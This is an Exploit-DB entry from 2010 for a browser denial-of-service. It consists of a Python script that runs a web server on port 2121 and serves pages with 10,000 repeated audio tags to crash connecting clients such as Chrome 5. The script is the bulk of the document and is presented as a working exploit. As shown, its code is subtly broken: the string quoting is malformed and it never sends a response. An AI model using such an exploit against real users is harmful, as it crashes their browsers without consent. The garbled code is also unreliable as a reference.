Multiple Browsers Audio Tag DoS Vulnerability

ID EDB-ID:12324
Type exploitdb
Reporter Chase Higgins
Modified 2010-04-21T00:00:00


Multiple Browsers Audio Tag DoS Vulnerability. Dos exploits for multiple platform


#Multiple Browsers Audio Tag Denial of Service Vulnerability
#any ogg file can be used for the DoS as long as it is a valid file on the server
#crash reporter for Mac seems to think this is a EXEC_BAD_ACCESS
#This script acts as a web server to DoS connecting clients

# Exploit Title: Multiple Browsers Audio Tag DoS Vulnerability
# Date: April 21th, 2010
# Author: Chase Higgins,
# Software Link:,
# Version: Google Chrome 5.0.375.9 dev
# Tested on: Mac OSX 10.5.8
import sys, socket;

def main():
	html = """
	html += "<audio src='myogg.ogg'>" * 10000;
	html += """
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('', 2121));
	while True:
		channel, details = s.accept();
		print channel.recv(256);